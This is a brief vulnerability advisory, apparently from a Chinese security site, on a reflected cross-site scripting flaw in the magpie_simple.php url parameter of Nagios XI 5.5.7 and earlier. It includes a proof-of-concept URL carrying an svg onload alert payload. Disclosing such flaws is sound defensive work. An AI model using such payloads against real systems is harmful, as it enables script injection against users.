Nagios XI <=5.5.7 Reflect XSS#1

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### Nagios XI <=5.5.7 Reflect XSS#1 The url parameter of magpie_simple.php is not filtered, resulting in an XSS vulnerability. #### Affected Version * Nagios XI <= 5.5.7 #### Proof of concept ``` http://192.168.177.130/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_simple.php?url=111%22%3E%3Csvg%2Fonload%3Dalert(1)%3E ``` ![](https://images.seebug.org/1544442658545-w331s)

0%
暂无可用Exp或PoC
当前有0条受影响产品信息